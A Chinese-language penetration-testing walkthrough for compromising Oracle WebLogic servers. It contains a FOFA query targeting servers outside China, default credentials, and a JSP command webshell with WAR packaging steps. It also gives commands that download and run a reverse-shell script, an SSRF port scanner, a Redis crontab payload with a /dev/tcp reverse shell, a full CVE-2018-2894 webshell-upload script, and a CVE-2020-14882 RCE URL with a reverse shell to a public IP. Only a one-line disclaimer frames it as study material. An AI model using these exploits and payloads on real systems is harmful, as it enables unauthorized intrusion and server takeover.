相关资产搜索

# fofa 语法
app="BEA-WebLogic-Server" && country!="CN" && title=="Error 404--Not Found"

一.weakPassword

1.弱口令

weblogic/Oracle@123
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem

2.命令打包war包

cmd.jsp

<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) {
     String s = null; try {
     Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) {
     output += s +"\r\n"; } } catch(IOException e) {
     e.printStackTrace(); } } out.println(output);%>

# 打包命令
jar -cvf cmd.war cmd.jsp

3.上传war包

登录后台，部署，安装

选上载文件

上传war文件，选择下一步

一直下一步，直到最后完成

4.getshell

# 访问url即可得到shell
http://ip:prot/cmd/cmd.jsp?cmd=ls

使用冰蝎，蚁剑等皆可

5.命令执行下载反弹shell脚本并执行

# vps开启服务以待目标可以下载文件 示例图片全部是内网操作
python -m http.server

# %20 是空格 目标网站下载恶意文件
http://192.168.126.131:7001/cmd/cmd.jspcmd=wget%20192.168.126.129:8000/7.sh%20-O%20/tmp/7.sh

# 反弹shell
http://192.168.126.131:7001/cmd/cmd.jsp?cmd=/bin/bash%20/tmp/7.sh

二.CVE-2014-4210

1.漏洞简介

Weblogic 中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而可以攻击内网中Redis、Fastcgi等脆弱组件
该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp
SSRF：服务端请求伪造，伪造存在该漏洞的服务器对外发送请求，攻击者可以利用该漏洞对内网不对外开放的服务器进行攻击，如Redis和Fastjson

当 http 端口存活就会显示 404 not found

2.主机存活探测

随机访问一个端口会显示 could not connect

非http协议则会返回 did not have a valid SOAP

不存活的主机就是 No route to host

根据返回数据可以制作，端口扫描脚本

import contextlib
import itertools
import requests
url = "http://192.168.126.131:7001/uddiexplorer/SearchPublicRegistries.jsp"

ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]

for i, port in itertools.product(range(1, 255), ports):
    params = dict(
        rdoSearch="name",
        txtSearchname="sdf",
        selfor="Business+location",
        btnSubmit="Search",
        operator=f"http://172.19.0.{
      i}:{
      port}",
    )
    with contextlib.suppress(Exception):
        r = requests.get(url, params=params, timeout = 3)
        # print(r.text)
        if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
            print(f'[*] http://172.19.0.{
      i}:{
      port}')
            

写redis定时任务：

/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.126.131:6666/test%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.126.129%2F6666%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

不知道是不是姿势的问题，一直无法getshell;先记录着吧，仅供参考

三.CVE-2018-2894

1.漏洞简介

WebLogic未授权任意文件上传
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞，Web Service Test Page在”生产模式”下默认不开启，所以该漏洞有一定限制。利用该漏洞，可以上传任意 jsp 文件，进而获取服务器权限。

2.影响范围
Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

3.利用脚本

脚本自动上传webshell文件

#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey
# Modify By mingy

import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET


def get_current_work_path(host):
    geturl = f"{host}/ws_utc/resources/setting/options/general"
    ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
    values = []
    try:
        request = requests.get(geturl)
        if request.status_code == 404:
            exit(f"[-] {host}  don't exists CVE-2018-2894")
        elif "Deploying Application".lower() in request.text.lower():
            print("[*] First Deploying Website Please wait a moment ...")
            time.sleep(20)
            request = requests.get(geturl, headers=ua)
        if "</defaultValue>" in request.content.decode():
            root = ET.fromstring(request.content)
            value = root.find("section").find("options")
            for e in value:
                values.extend(
                    sub.text
                    for sub in e
                    if e.tag == "parameter" and sub.tag == "defaultValue"
                )
    except requests.ConnectionError:
        exit(f"[-] Cannot connect url: {geturl}")
    if values:
        return values[0]
    print("[-] Cannot get current work path\n")
    exit(request.content)


def get_new_work_path(host):
    origin_work_path = get_current_work_path(host)
    works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
    if "user_projects" in origin_work_path:
        if "\\" in origin_work_path:
            works = works.replace("/", "\\")
            current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
            dir_len = len(current_work_home.split("\\"))
            domain_name = origin_work_path.split("\\")[dir_len]
            current_work_home += "\\" + domain_name + works
        else:
            current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
            dir_len = len(current_work_home.split("/"))
            domain_name = origin_work_path.split("/")[dir_len]
            current_work_home += f"/{domain_name}{works}"
    else:
        current_work_home = origin_work_path
        print(f"[*] cannot handle current work home dir: {current_work_home}")
    return current_work_home


def set_new_upload_path(host, path):
    data = {
        "setting_id": "general",
        "BasicConfigOptions.workDir": path,
        "BasicConfigOptions.proxyHost": "",
        "BasicConfigOptions.proxyPort": "80"}
    request = requests.post(f"{host}/ws_utc/resources/setting/options", data=data, headers=headers)
    if "successfully" in request.content.decode():
        return True
    print("[-] Change New Upload Path failed")
    exit(request.content)


def upload_webshell(host, uri):
    set_new_upload_path(host, get_new_work_path(host))
    files = {
        "ks_edit_mode": "false",
        "ks_password_front": password,
        "ks_password_changed": "true",
        "ks_filename": ("test.jsp", upload_content)
    }

    request = requests.post(host + uri, files=files)
    response = request.text
    if match := re.findall("<id>(.*?)</id>", response):
        tid = match[-1]
        shell_path = f"{host}/ws_utc/css/config/keystore/{str(tid)}_test.jsp"
        if "test" in requests.get(shell_path, headers=headers).content.decode():
            print(f"[+] {host} exists CVE-2018-2894")
            print(f"[+] Check URL: {shell_path} ")
        else:
            print(f"[-] {host}  don't exists CVE-2018-2894")
    else:
        print(f"[-] {host}  don't exists CVE-2018-2894")


if __name__ == "__main__":
    start = time.time()
    password = "test"
    url = "/ws_utc/resources/setting/keystore"
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
                        help="target, such as: http://example.com:7001")

    # write into behinder default jsp webshell
    upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Requested-With': 'XMLHttpRequest', }

    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()
    target = args.target

    target = target.rstrip('/')
    if "://" not in target:
        target = f"http://{target}"
    try:
        upload_webshell(target, url)
    except Exception as e:
        print("[-] Error: \n")
        traceback.print_exc()

4.利用

脚本利用成功，会返回一个webshell链接；没有404就是上传成功

使用冰蝎连接成功，获得webshell

四.CVE-2019-2725

1.漏洞简介
使用CVE-2017-10271靶场即可复现
由于在反序列化处理输入信息的过程中存在缺陷，未经授权的攻击者可以发送精心构造的恶意 HTTP 请求，利用该漏洞获取服务器权限，实现远程代码执行

2.影响范围
影响版本：

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3

影响组件：

bea_wls9_async_response.war
wsat.war

3.漏洞判断
通过访问路径/async/AsyncResponseService
wls9_async response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类，因此会受该漏洞影响

4.漏洞利用

# 利用脚本
https://github.com/TopScrew/CVE-2019-2725/blob/master/weblogic-2019-2725.py

成功获得命令执行；无法支持蚁剑，冰蝎，哥斯拉；（命令执行写入除外）

五.CVE-2020-14882

1.漏洞简介

Weblogic 管理控制台未授权远程命令执行漏洞CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

2.影响范围

WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0

3.漏洞复现

①cve-2020-14882

②cve-2020-14883

执行命令

# 创建 success1 文件夹
http://your-ip:port/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

无回显

进入靶场bash查看成功创建文件夹 success1

创建 shell.sh 文件让目标机器可以访问到

# shell.sh
/bin/bash -i >& /dev/tcp/139.155.49.43/9090 0>&1

让目标机器下载 shell.sh

成功获得shell

免责声明

仅供学习参考